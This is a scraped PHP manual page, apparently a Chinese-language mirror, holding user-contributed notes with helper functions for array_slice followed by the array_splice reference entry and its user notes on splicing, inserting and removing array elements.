However, if you want an inverse associative version of this, just use array_diff_key instead of array_intersect_key.

function array_slice_assoc_inverse($array,$keys) {
    return array_diff_key($array,array_flip($keys));
}

Example:

$arr = [
    'name' => 'Nathan',
    'age' => 20,
    'height' => 6
];

array_slice_assoc($arr, ['name','age']);

will return

Array (
     'name' = 'Nathan',
     'age' = 20
)

Where as

array_slice_assoc_inverse($arr, ['name']);

will return

Array (
    'age' = 20,
    'height' = 6
)
SomeGuy 24-Jun-2016 09:17
Thank to taylorbarstow here the function with the unset feature.
<?php
function array_slice_assoc(&$array,$keys,$unset = true) {
    $return = array_intersect_key($array, array_flip($keys));
    if ($unset) {
        foreach ($keys as $value) {
            unset($array[$value]);
        }
    }
    return $return;
}
?>
kansey 12-Aug-2015 09:32
To save the sort order of a numeric index in the array. Version php =>5.5.26
/*
Example
*/

$arr = array( "1" =>2, "2" =>3 , "3" =>5 );

print_r(array_slice($arr,1,null,true));

/*
Result

Array
(
[2] => 3
[3] => 5
)
*/
kezzyhko at gmail dot com 27-Jul-2015 06:49
( If $offset is negative and abs($length)>count($length) ) or ( $offset>count($array) ) etc, array_slice returns empty array. For example:

<?php

$array = array(
    'a'=>'1',
    'b'=>'2',
    'c'=>'3',
    'd'=>'4',
    'e'=>'5',
    'f'=>'6',
    'g'=>'7',
    'h'=>'8'
);

print_r( array_slice($test, 2, -10) );
print_r( array_slice($test, 10, 1) );
print_r( array_slice($test, 10, 15) );

//prints
//Array()
//Array()
//Array()

?>
Ray.Paseur often uses Gmail 06-Jun-2013 02:44
<?php
// CHOP $num ELEMENTS OFF THE FRONT OF AN ARRAY
// RETURN THE CHOP, SHORTENING THE SUBJECT ARRAY
function array_chop(&$arr, $num)
{
    $ret = array_slice($arr, 0, $num);
    $arr = array_slice($arr, $num);
    return $ret;
}
Nathan - thefiscster510 at gmail dot com 29-Mar-2011 10:38
If you want to remove a specified entry from an array i made this mwethod...

<?php
$array = array("Entry1","entry2","entry3");

$int = 3; //Number of entries in the array
$int2 = 0; //Starter array spot... it will begine its search at 0.
$del_num = 1; //Represents the second entry in the array... which is the one we will happen to remove this time... i.e. 0 = first entry, 1 = second entry, 2 = third...........

$newarray = array(); //Empty array that will be the new array minus the specified entry...
print_r($array) . "<br>";    //print original array contents
print_r($newarray). "<br>"; //print the new empty array

do
{
$user = $array[$int2];
$key = array_search($user, $array);
if ($key == $del_num)
{

}
else
{
$newarray[] = $array[$int2];
}

$int2 = $int2 + 1;
} while ($int2 < $int);

print_r($newarray). "<br>"; //print the new array

?>
delew 11-Feb-2011 01:17
just a little tip.
to preserve keys without providing length: use NULL

array_slice($array, $my_offset, NULL, true);
xananax at yelostudio dot com 02-Feb-2011 07:23
<?php
/**
 * Reorders an array by keys according to a list of values.
 * @param array $array the array to reorder. Passed by reference
 * @param array $list the list to reorder by
 * @param boolean $keepRest if set to FALSE, anything not in the $list array will be removed.
 * @param boolean $prepend if set to TRUE, will prepend the remaining values instead of appending them
 * @author xananax AT yelostudio DOT com
 */
function array_reorder(array &$array,array $list,$keepRest=TRUE,$prepend=FALSE,$preserveKeys=TRUE){
    $temp = array();
    foreach($list as $i){
        if(isset($array[$i])){
            $tempValue = array_slice(
                $array,
                array_search($i,array_keys($array)),
                1,
                $preserveKeys
            );
            $temp[$i] = array_shift($tempValue);
            unset($array[$i]);
        }
    }
    $array = $keepRest ?
        ($prepend?
            $array+$temp
            :$temp+$array
        )
        : $temp;
}

/** exemple ** /
$a = array(
    'a'    =>    'a',
    'b'    =>    'b',
    'c'    =>    'c',
    'd'    =>    'd',
    'e'    =>    'e'
);
$order = array('c','b','a');

array_reorder($a,$order,TRUE);
echo '<pre>';
print_r($a);
echo '</pre>';
/** exemple end **/
?>
joel dot a dot villarreal at gmail dot com 19-Oct-2010 03:41
An implementation of array_slice that do not resets the cursor.

<?php
function get_from_array($arr, $start, $length)
{
    $sliced = array();
    foreach ($arr as $k => $v)
    {
        if ($start <= $k && $k <= $start + $length - 1)
        {
            $sliced[] = $v;
            if (count($sliced) == $length) break;
        }
    }
    return $sliced;
}
?>

Cheers,
Joel A. Villarreal Bertoldi
yuwas at ht dot cx 04-Apr-2010 06:54
By combining this with str_split() and implode(),slices can also be excerpted from strings with the following simple function:
<?php
function str_slice($string,$offset,$length=999,$preserve_keys=False){
  if( $length == 999 ){ $length = strlen($string)-$offset };
  $slice_arr = array_slice(str_split($string),$offset,$length,$preserve_keys);
  return implode($slice_arr);
};
?>

Perhaps there's a better way to preset $length.
jamie at jamiechong dot ca 18-Oct-2009 04:04
A flexible array_split function:

<?php
// split the given array into n number of pieces
function array_split($array, $pieces=2)
{
    if ($pieces < 2)
        return array($array);
    $newCount = ceil(count($array)/$pieces);
    $a = array_slice($array, 0, $newCount);
    $b = array_split(array_slice($array, $newCount), $pieces-1);
    return array_merge(array($a),$b);
}

// Examples:
$a = array(1,2,3,4,5,6,7,8,9,10);
array_split($a, 2);    // array(array(1,2,3,4,5), array(6,7,8,9,10))
array_split($a, 3);    // array(array(1,2,3,4), array(5,6,7), array(8,9,10))
array_split($a, 4);    // array(array(1,2,3), array(4,5,6), array(7,8), array(9,10))

?>
jamon at clearsightdesign dot com 10-Apr-2009 05:46
I was trying to find a good way to find the previous several and next several results from an array created in a MySQL query. I found that most MySQL solutions to this problem were complex. Here is a simple function that returns the previous and next rows from the array.

<?php

/*
** function array_surround by Jamon Holmgren of ClearSight Design
** Version 1.0 - 4/10/2009
** Please direct comments and questions to my first name at symbol clearsightdesign.com
**
** Returns an array with only the $before and $after number of results
** This is set to work best with MySQL data results
** Use this to find the rows immediately before and after a particular row, as many as you want
**
** Example usage:
**   $mysql_ar is an array of results from a MySQL query and the current id is $cur_id
**   We want to get the row before this one and five rows afterward
**
** $near_rows = array_surround($mysql_ar, "id", $cur_id, 1, 5)
**
**   Previous row is now $near_rows[-1]
**   Current row is now $near_rows[0]
**   Next row is $near_rows[1] ... etc
**   If there is no previous row, $near_rows[-1] will not be set...test for it with is_array($near_rows[-1])
**
*/
function array_surround($src_array, $field, $value, $before = 1, $after = 1) {
    if(is_array($src_array)) {
        // reset all the keys to 0 through whatever in case they aren't sequential
        $new_array = array_values($src_array);
        // now loop through and find the key in array that matches the criteria in $field and $value
        foreach($new_array as $k => $s) {
            if($s[$field] == $value) {
                // Found the one we wanted
                $ck = $k; // put the key in the $ck (current key)
                break;
            }
        }
        if(isset($ck)) { // Found it!
            $result_start = $ck - $before; // Set the start key
            $result_length = $before + 1 + $after; // Set the number of keys to return
            if($result_start < 0) { // Oops, start key is before first result
                $result_length = $result_length + $result_start; // Reduce the number of keys to return
                $result_start = 0; // Set the start key to the first result
            }
            $result_temp = array_slice($new_array, $result_start, $result_length); // Slice out the results we want
            // Now we have an array, but we want array[-$before] to array[$after] not 0 to whatever.
            foreach($result_temp as $rk => $rt) { // set all the keys to -$before to +$after
                $result[$result_start - $ck + $rk] = $rt;
            }
            return $result;
        } else { // didn't find it!
            return false;
        }
    } else { // They didn't send an array
        return false;
    }
}

?>

I hope you find this useful! I welcome constructive criticism or comments or of course praise ;) -- just e-mail me.

- Jamon Holmgren
Mr. P 14-Nov-2008 02:11
Note that offset is not the same thing as key. Offset always starts at 0, while keys might be any number.

So this:

<?php print_r(array_slice(array(0 => 0, 5 => 5, 13 => 13),1)); ?>

will result in this:
Array
(
    [0] => 5
    [1] => 13
)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 07:53
Using the varname function referenced from the array_search page, submitted by dcez at land dot ru. I created a multi-dimensional array splice function. It's usage is like so:

$array['admin'] = array('blah1', 'blah2');
$array['voice'] = array('blah3', 'blah4');
array_cut('blah4', $array);

...Would strip blah4 from the array, no matter where the position of it was in the array ^^ Returning this...

Array ( [admin] => Array ( [0] => blah1 [1] => blah2 ) [voice] => Array ( [0] => blah3 ) )

Here is the code...

<?php

  function varname ($var)
  {
    // varname function by dcez at land dot ru
    return (isset($var)) ? array_search($var, $GLOBALS) : false;
  }

  function array_cut($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return array_splice($GLOBALS[varname($haystack)][$k], $i, 1);
          break; break;
        }
    }

?>

Check out dreamevilconcept's forum for more innovative creations!
ted.devito at 9gmail9 dot 99com 02-May-2008 09:21
based on worldclimb's arem(), here is a recursive array value removal tool that can work with multidimensional arrays.

function remove_from_array($array,$value){
    $clear = true;
    $holding=array();

    foreach($array as $k => $v){
        if (is_array($v)) {
            $holding [$k] = remove_from_array ($v, $value);
            }
        elseif ($value == $v) {
            $clear = false;
            }
        elseif($value != $v){
            $holding[$k]=$v; // removes an item by combing through the array in order and saving the good stuff
        }
    }
    if ($clear) return $holding; // only pass back the holding array if we didn't find the value
}
worldclimb at 99gmail99 dot com 21-Mar-2008 12:51
array_slice can be used to remove elements from an array but it's pretty simple to use a custom function.

One day array_remove() might become part of PHP and will likely be a reserved function name, hence the unobvious choice for this function's names.

<?
function arem($array,$value){
    $holding=array();
    foreach($array as $k => $v){
        if($value!=$v){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

function akrem($array,$key){
    $holding=array();
    foreach($array as $k => $v){
        if($key!=$k){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

$lunch = array('sandwich' => 'cheese', 'cookie'=>'oatmeal','drink' => 'tea','fruit' => 'apple');
echo '<pre>';
print_r($lunch);
$lunch=arem($lunch,'apple');
print_r($lunch);
$lunch=akrem($lunch,'sandwich');
print_r($lunch);
echo '</pre>';
?>

(remove 9's in email)
aexchecker at yahoo dot com 04-Oct-2007 08:39
<?php
/**
 * @desc
 * Combines two arrays by inserting one into the other at a given position then
 * returns the result.
 *
 * @since   2007/10/04
 * @version v0.7 2007/10/04 18:47:52
 * @author  AexChecker <AexChecker@yahoo.com>
 * @param   array $source
 * @param   array $destination
 * @param   int [optional] $offset
 * @param   int [optional] $length
 * @return  array
 */
function array_insert($source, $destination, $offset = NULL, $length = NULL) {
    if (!is_array($source) || empty($source)) {
        if (is_array($destination) && !empty($destination)) {
            return $destination;
        }
        return array();
    }
    if (is_null($offset)) {
        return array_merge($destination, $source);
    }
    $offset = var2int($offset);
    if (is_null($length)) {
        if ($offset === 0) {
            return array_merge($source, array_slice($destination, 1));
        }
        if ($offset === -1) {
            return array_merge(array_slice($destination, 0, -1), $source);
        }
        return array_merge(
            array_slice($destination, 0, $offset),
            $source,
            array_slice($destination, ++$offset)
        );
    }
    if ($offset === 0) {
        return array_merge($source, array_slice($destination, $length));
    }
    $destination_count = count($destination);
    $length = var2int($length);
    if ($offset > 0) {
        if ($destination_count - $offset < 1) {
            return array_merge($destination, $source);
        }
    } else{
        if (($t = $destination_count + $offset) < 1) {
            return array_merge($source, $destination);
        }
        $offset = $t;
    }
    if ($length > 0) {
        $length+= $offset;
    } elseif ($length < 0 && !($length * -1 < $destination_count)) {
        return $source;
    } else {
        $length = $offset;
    }
    return array_merge(
        array_slice($destination, 0, $offset),
        $source,
        array_slice($destination, $length)
    );
}
?>
phpnotasp at gmail dot com 16-Jul-2007 02:42
It should be noted that this function does NOT modify the original array. So if you need to array_pop() or array_shift() without modifying the original array, you can use array_slice().

<?php

$input = array('a', 'b', 'c');
$output = array_slice($input, 1);

print_r($output);
print_r($input);

/*
Array
(
    [0] => b
    [1] => c
)
Array
(
    [0] => a
    [1] => b
    [2] => c
)
*/
?>
14-Mar-2007 08:09
I noticed that some other people made supportive functions for maintaining numeric keys for PHP versions less than 5.0.2. So here is my version of it.

<?php

//Slice an array but keep numeric keys
function narray_slice($array, $offset, $length) {

    //Check if this version already supports it
    if (str_replace('.', '', PHP_VERSION) >= 502)
       return array_slice($array, $offset, $length, true);

    foreach ($array as $key => $value) {

        if ($a >= $offset && $a - $offset <= $length)
            $output_array[$key] = $value;
        $a++;

    }

    return $output_array;

}

?>
aflavio at gmail dot com 01-Mar-2007 01:43
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval);$x++)
          {
              $i=array_search($val,$array_remval);
              if (is_numeric($i)) {
                  $array_temp  = array_slice($array_remval, 0, $i );
                $array_temp2 = array_slice($array_remval, $i+1, count($array_remval)-1 );
                $array_remval = array_merge($array_temp, $array_temp2);
              }
          }
          return $array_remval;
    }

$stack=Array('apple','banana','pear','apple', 'cherry', 'apple');
array_remval("apple", $stack);

//output: Array('banana','pear', 'cherry')
19-Dec-2006 09:10
The version check on "ps at b1g dot de" function fails on my copy of PHP.  My Version of PHP is "4.3.10-18", and it ends up checking 4310 <=> 502.
Since we are looking for a version over 4.1.0, we cas use version_compare.

<?php
    // PHP >= 5.0.2 is able to do this itself
    if(function_exists('version_compare') and version_compare(PHP_VERSION, '5.0.2') >= 0) {
      return array_slice($array, $offset, $length, true);
    }
?>
06-May-2006 12:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service 07-Apr-2006 02:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com 06-Sep-2005 09:53
<?php
    // Combines two arrays by inserting one into the other at a given position then returns the result
    function array_insert($src, $dest, $pos) {
        if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
        return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
    }
?>
ssb45 at cornell dot edu 28-Jul-2005 07:20
In reply to jenny at jennys dot info:

Here is a much easier way to find the $offset of a $key in an $array:

$offset = array_search($key, array_keys($array));
fanfatal at fanfatal dot pl 08-Jul-2005 03:09
Hmm ... i wrote an usefull function whitch is such like strpos but it works on arrays ;]

<?php
/*
 *    Find position of first occurrence of a array
 *
 *    @param array $haystack
 *    @param array $needle
 *    @return int
 *    @author FanFataL
 */
function array_pos($haystack, $needle) {
    $size = count($needle);
    $sizeh = count($haystack);
    if($size > $sizeh) return false;

    $scale = $sizeh - $size + 1;

    for($i = 0; $i < $scale; $i++)
        if($needle === array_slice($haystack, $i, $size))
            return $i;

    return false;
}

// Sample:
$a = array('aa','bb','cc','dd','ee');
$b = array('cc','dd');
$pos = array_pos($a, $b);
?>

Greatings ;-)
...
liz at matrixmailing dot com 06-Jun-2005 02:16
For those with PHP < 5.0.2, and have a number as your array key, to avoid having the key reset with array_slice, add a blank character to the beginning or end of the key.
<?

$array[" ".$key] = $value;

?>
bishop 08-Dec-2004 01:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
    if (! is_array($array)) {
        trigger_error('First parameter must be an array', E_USER_ERROR);
        return false;
    }

    if (! (is_array($keys) || is_scalar($keys))) {
        trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
        return false;
    }

    if (is_array($keys)) {
        // nothing to do
    } else if (is_scalar($keys)) {
        $keys = array ($keys);
    }

    $resultArray = array ();
    foreach ($keys as $key) {
        if (is_scalar($key)) {
            if (array_key_exists($key, $array)) {
                $resultArray[$key] = $array[$key];
                unset($array[$key]);
            }
        } else {
            trigger_error('Supplied key is not scalar', E_USER_ERROR);
            return false;
        }
    }

    return $resultArray;
}

?>
pies at sputnik dot pl 17-Sep-2004 09:29
My shot at Dams's array_slice_key() implementation:

function array_slice_key($array, $offset, $len=-1){

    if (!is_array($array))
        return FALSE;

    $length = $len >= 0? $len: count($array);
    $keys = array_slice(array_keys($array), $offset, $length);
    foreach($keys as $key) {
        $return[$key] = $array[$key];
    }

    return $return;
}
Samuele at norsam dot org 05-Apr-2004 09:44
Note that if $offset+$length>count($array) then resulting array will NOT be filled with empty elements at his end, so it is not sure that it will have exactly $length elements. Example:
<?php
$a=Array(7,32,11,24,65); // count($a) is 5
$b=array_slice($a,2,4);  // 2+4=6, and 6>count($a)
print_r($b);
?>
will return a 3-elements array:
  Array
  (
      [0] => 11
      [1] => 24
      [2] => 65
  )
23-Feb-2004 02:47
Use unset() to delete a associative array.

Ex:
<?php

$item['chaise'] = array ('qty' => 1,
                        'desc' => 'Chaise bercante 10"',
                        'avail' => 10);

$item['divan'] = array ('qty' => 1,
                        'desc' => 'Divan brun laitte"',
                        'avail' => 10);

if (isset($item['chaise'])) {
        ++$item['chaise']['qty'];
        }

unset($item['divan']);

foreach ($item as $s) {
        echo "<br />Commande " . $s['qty'] . " " . $s['desc'];
}

?>
jenny at jennys dot info 21-Feb-2004 10:12
Here's a function which returns the array offset based on the array key.  This is useful if you'd like to use array_slice to get all keys/values after key "foo".

<?
function array_offset($array, $offset_key) {
  $offset = 0;
  foreach($array as $key=>$val) {
    if($key == $offset_key)
      return $offset;
    $offset++;
  }
  return -1;
}

$array = array('foo'=>'foo', 'bar'=>'bar', 'bash'=>'bash', 'quux'=>'quux');
print_r($array);
// Prints the following:
// Array
// (
//     [foo] => foo
//     [bar] => bar
//     [bash] => bash
//     [quux] => quux
// )

$offset = array_offset($array,'bar');
// $offset now contains '1'
$new = array_slice($array,$offset+1);
print_r($new);
// Prints the following:
// Array
// (
//     [bash] => bash
//     [quux] => quux
// )
?>
developer at i-space dot org 03-Feb-2002 08:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.


去掉数组中的某一部分并用其它值取代

  • ? array_slice
  • array_sum ?
  • PHP Manual
  • 数组 函数
  • 去掉数组中的某一部分并用其它值取代

array_splice

(PHP 4, PHP 5, PHP 7)

array_splice — 去掉数组中的某一部分并用其它值取代

说明

array_splice ( array &$input , int $offset [, int $length = count($input) [, mixed $replacement = array() ]] ) : array

把 input 数组中由 offset 和 length 指定的单元去掉，如果提供了 replacement 参数，则用其中的单元取代。

注意 input 中的数字键名不被保留。

Note: 如果 replacement 不是数组，会被 类型转换 成数组 (例如： (array) $replacement)。 当传入的 replacement 是个对象或者 NULL，会导致未知的行为出现。

参数

input

输入的数组。

offset

如果 offset 为正，则从 input 数组中该值指定的偏移量开始移除。如果 offset 为负，则从 input 末尾倒数该值指定的偏移量开始移除。

length

如果省略 length，则移除数组中从 offset 到结尾的所有部分。如果指定了 length 并且为正值，则移除这么多单元。如果指定了 length 并且为负值，则移除从 offset 到数组末尾倒数 length 为止中间所有的单元。 如果设置了 length 为零，不会移除单元。 小窍门：当给出了 replacement 时要移除从 offset 到数组末尾所有单元时，用 count($input) 作为 length。

replacement

如果给出了 replacement 数组，则被移除的单元被此数组中的单元替代。

如果 offset 和 length 的组合结果是不会移除任何值，则 replacement 数组中的单元将被插入到 offset 指定的位置。 注意替换数组中的键名不保留。

如果用来替换 replacement 只有一个单元，那么不需要给它加上 array()，除非该单元本身就是一个数组、一个对象或者 NULL。

返回值

返回一个包含有被移除单元的数组。

范例

Example #1 array_splice() 例子

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
// $input is now array("red", "green")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
// $input is now array("red", "yellow")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
// $input is now array("red", "orange")

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
// $input is now array("red", "green",
//          "blue", "black", "maroon")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 3, 0, "purple");
// $input is now array("red", "green",
//          "blue", "purple", "yellow");
?>

Example #2 array_splice() 例子

以下表达式以同样方式修改了 $input：

<?php

// 添加两个新元素到 $input
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));

// 移除 $input 中的最后一个元素
array_pop($input);
array_splice($input, -1);

// 移除  $input 中第一个元素
array_shift($input);
array_splice($input, 0, 1);

// 在 $input 的开头插入一个元素
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));

// 在 $input  的索引  $x 处替换值
$input[$x] = $y; // 对于键名和偏移量等值的数组
array_splice($input, $x, 1, $y);
?>

参见

  • array_slice() - 从数组中取出一段
  • unset() - 释放给定的变量
  • array_merge() - 合并一个或多个数组

User Contributed Notes

Hayley Watson 26-Sep-2017 12:31
For an analogous function that works on strings rather than arrays, see substr_replace.
gilberg_vrn 25-Apr-2016 02:45
array_splice with preserve keys

<?php
function array_splice_preserve_keys(&$array, $from, $length = null) {
    $result = array_slice($array, $from, $length, true);
    $array = array_slice($array, $from + $length, null, true);

    return $result;
}
?>

Example:

<?php
$array = [
    1 => 'a',
    2 => 'b',
    26 => 'z'
];

var_dump(array_splice_preserve_keys($array, 0, 1), $array);
/**
 * array(1) {
 *  [1]=>
 *   string(1) "a"
 *  }
 * array(2) {
 *  [2]=>
 *  string(1) "b"
 *  [26]=>
 *  string(1) "z"
 * }
 */
?>
vitospericolato at gmail dot com 08-Apr-2016 08:54
To remove elements from an array, based on array values:

<?php
$i_to_remove=array();

foreach($array_to_prune as $i=>$value){
  if(cond_to_delete($value)) $i_to_remove[]=$i;
}
foreach($i_to_remove as $j=>$i)
  array_splice($array_to_prune,$i-$j,1);

?>
StanE 22-Oct-2015 08:50
array_splice() does not preserve numeric keys. The function posted by "weikard at gmx dot de" won't do that either because array_merge() does not preserve numeric keys either.

Use following function instead:

<?php
function arrayInsert($array, $position, $insertArray)
{
    $ret = [];

    if ($position == count($array)) {
        $ret = $array + $insertArray;
    }
    else {
        $i = 0;
        foreach ($array as $key => $value) {
            if ($position == $i++) {
                $ret += $insertArray;
            }

            $ret[$key] = $value;
        }
    }

    return $ret;
}
?>

Example:
<?php
$a = [
    295 => "Hello",
    58 => "world",
];

$a = arrayInsert($a, 1, [123 => "little"]);

/*
Output:
Array
(
    [295] => Hello
    [123] => little
    [58] => world
)
*/
?>

It preserves numeric keys. Note that the function does not use a reference to the original array but returns a new array (I see absolutely no reason how the performance would be increased by using a reference when modifying an array through PHP script code).
guillaume dot lacourt at gmail dot com 20-Jun-2015 01:30
Using array_splice when you traverse array with internal pointer's function reset the array, eg:

<?php
end($arrOfData);
$last = key($arrOfData);
reset($arrOfData);
while (($data = current($arrOfData))) {
  if ($last === key($arrOfData)) {
    array_splice($arrOfData, $last, 1);
   // current($arrOfData) => first value of $arrOfData
  }
}
Anonymous 11-Sep-2014 01:07
<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>
antrik 09-Jul-2014 07:20
Prompted by dire need, and inspired by some of the existing notes, I came up with this:

/* Like array_splice(), but preserves the key(s) of the replacement array. */
function array_splice_assoc(&$input, $offset, $length = 0, $replacement = array()) {
  $tail = array_splice($input, $offset);
  $extracted = array_splice($tail, 0, $length);
  $input += $replacement + $tail;
  return $extracted;
};

Apart from preserving the keys, it behaves just like the regular array_splice() for all cases I could think of.

So for example the regular array_splice()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

will give:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [0] => bar
    [1] => baz
    [f] => 6
)

But with array_splice_assoc()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice_assoc($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

we get:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [foo1] => bar
    [foo2] => baz
    [f] => 6
)

A typical use case would be replacing an element identified by a particular key, which we could achieve with:

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
array_splice_assoc($input, array_search('d', array_keys($input)), 1, array('foo' => 'bar'));
print_r($input);

giving us:

Array
(
    [a] => 1
    [b] => 2
    [c] => 3
    [foo] => bar
    [e] => 5
    [f] => 6
)
thom 02-Jan-2014 02:31
Maybe it will help someone else: I was trying to strip off the last part of an array using this section, more or less as follows:

<?php array_splice($array, $offset); ?>

Now it could occur in my code that <?php $offset === 0 ?>, in which case the array is returned as-is and not, as you might expect, an empty array because everything is stripped off. Obviously it is not really useful anyway to "strip off everything", but I was reminded of that the hard way and this may spare someone some time, hopefully.
royanee at yahoo dot com 25-Jan-2013 05:03
When trying to splice an associative array into another, array_splice is missing two key ingredients:
  - a string key for identifying the offset
  - the ability to preserve keys in the replacement array

This is primarily useful when you want to replace an item in an array with another item, but want to maintain the ordering of the array without rebuilding the array one entry at a time.

<?php
function array_splice_assoc(&$input, $offset, $length, $replacement) {
        $replacement = (array) $replacement;
        $key_indices = array_flip(array_keys($input));
        if (isset($input[$offset]) && is_string($offset)) {
                $offset = $key_indices[$offset];
        }
        if (isset($input[$length]) && is_string($length)) {
                $length = $key_indices[$length] - $offset;
        }

        $input = array_slice($input, 0, $offset, TRUE)
                + $replacement
                + array_slice($input, $offset + $length, NULL, TRUE);
}

$fruit = array(
        'orange' => 'orange',
        'lemon' => 'yellow',
        'lime' => 'green',
        'grape' => 'purple',
        'cherry' => 'red',
);

// Replace lemon and lime with apple
array_splice_assoc($fruit, 'lemon', 'grape', array('apple' => 'red'));

// Replace cherry with strawberry
array_splice_assoc($fruit, 'cherry', 1, array('strawberry' => 'red'));
?>

Note: I have not tested this with negative offsets and lengths.
mrsohailkhan at gmail dot com 21-Oct-2011 12:34
array_splice, split an array into 2 arrays. The returned arrays is the 2nd argument actually and the used array e.g $input here contains the 1st argument of array, e.g

<?php
$input = array("red", "green", "blue", "yellow");
print_r(array_splice($input, 3)); // Array ( [0] => yellow )
print_r($input); //Array ( [0] => red [1] => green [2] => blue )
?>

if you want to replace any array value do simple like that,

first search the array index you want to replace

<?php $index = array_search('green', $input);// index = 1 ?>

and then use it as according to the definition

<?php
array_splice($input, $index, 1, array('mygreeen')); //Array ( [0] => red [1] => mygreeen [2] => blue [3] => yellow )
?>

so here green is replaced by mygreen.

here 1 in array_splice above represent the number of items to be replaced. so here start at index '1' and replaced only one item which is 'green'
news_yodpeirs at thoftware dot de 20-Jul-2011 08:20
Sometimes you may want to insert one array into another and just work on with the resulting array. array_splice() doesn't support this, as the resulting array isn't the returned value but the first argument, which is changed by reference.

Therefore you may use the following function, which inserts array $ins in array $src at position $pos. $rep can be used if $ins shouldn't be just inserted, but should replace some existing elements (the number of elements to be replaced is given in $rep).

<?php
function array_insert($src,$ins,$pos,$rep=0) {
  array_splice($src,$pos,$rep,$ins);
  return($src);
}
?>
charette dot s at gmail 21-Jul-2010 08:26
If you want to append null values wrap them in an array:

<?php

    $a = array('Hey', 'hey', 'my', 'my');
    array_splice($a, 1, 0, null);
    print_r($a);

?>
Array
(
    [0] => Hey
    [1] => hey
    [2] => my
    [3] => my
)

<?php

    $b = array('Hey', 'hey', 'my', 'my');
    array_splice($b, 1, 0, array(null));
    print_r($b);

?>
Array
(
    [0] => Hey
    [1] =>
    [2] => hey
    [3] => my
    [4] => my
)
news_yodpeirs at thoftware dot de 01-Apr-2010 01:32
Splicing with NULL as replacement may result in unexpected behavior too. Typecasting NULL into an array results in an empty array (as "(array)NULL" equals "array()"). That means, instead of creating an element with value NULL just no new element ist created (just as if there was no replacement specified).

If you want the splicing to create a new element with value NULL you have to use "array(NULL)" instead of NULL.

You should expect this if you read the explanation carefully, but just as objects are considered as a special case for replacement, NULL should be too.

The explanation of replacement better should read: "If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL."

And the note better should be: "If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement."

jmtc
daniele centamore 02-Aug-2009 07:48
just useful functions to move an element using array_splice.

<?php

// info at danielecentamore dot com

// $input  (Array) - the array containing the element
// $index (int) - the index of the element you need to move

function moveUp($input,$index) {
      $new_array = $input;

       if((count($new_array)>$index) && ($index>0)){
                 array_splice($new_array, $index-1, 0, $input[$index]);
                 array_splice($new_array, $index+1, 1);
             }

       return $new_array;
}

function moveDown($input,$index) {
       $new_array = $input;

       if(count($new_array)>$index) {
                 array_splice($new_array, $index+2, 0, $input[$index]);
                 array_splice($new_array, $index, 1);
             }

       return $new_array;
 }

$input = array("red", "green", "blue", "yellow");

$newinput = moveUp($input, 2);
// $newinput is array("red", "blue", "green", "yellow")

$input = moveDown($newinput, 1);
// $input is array("red", "green", "blue", "yellow")

?>
strata_ranger at hotmail dot com 01-Jul-2009 11:53
Should you want a similar function for splicing strings together, here is a rough equivalent:

<?php
function str_splice($input, $offset, $length=null, $splice='')
{
  $input = (string)$input;
  $splice = (string)$splice;
  $count = strlen($input);

  // Offset handling (negative values measure from end of string)
  if ($offset<0) $offset = $count + $offset;

  // Length handling (positive values measure from $offset; negative, from end of string; omitted = end of string)
  if (is_null($length)) $length = $count;
  elseif ($length < 0)  $length = $count-$offset+$length;

  // Do the splice
  return substr($input, 0, $offset) . $splice . substr($input, $offset+$length);
}

$string = "The fox jumped over the lazy dog.";

// Outputs "The quick brown fox jumped over the lazy dog."
echo str_splice($string, 4, 0, "quick brown ");

?>

Obviously this is not for cases where all you need to do is a simple search-and-replace.
dead dot screamer at seznam dot cz 12-Feb-2009 05:28
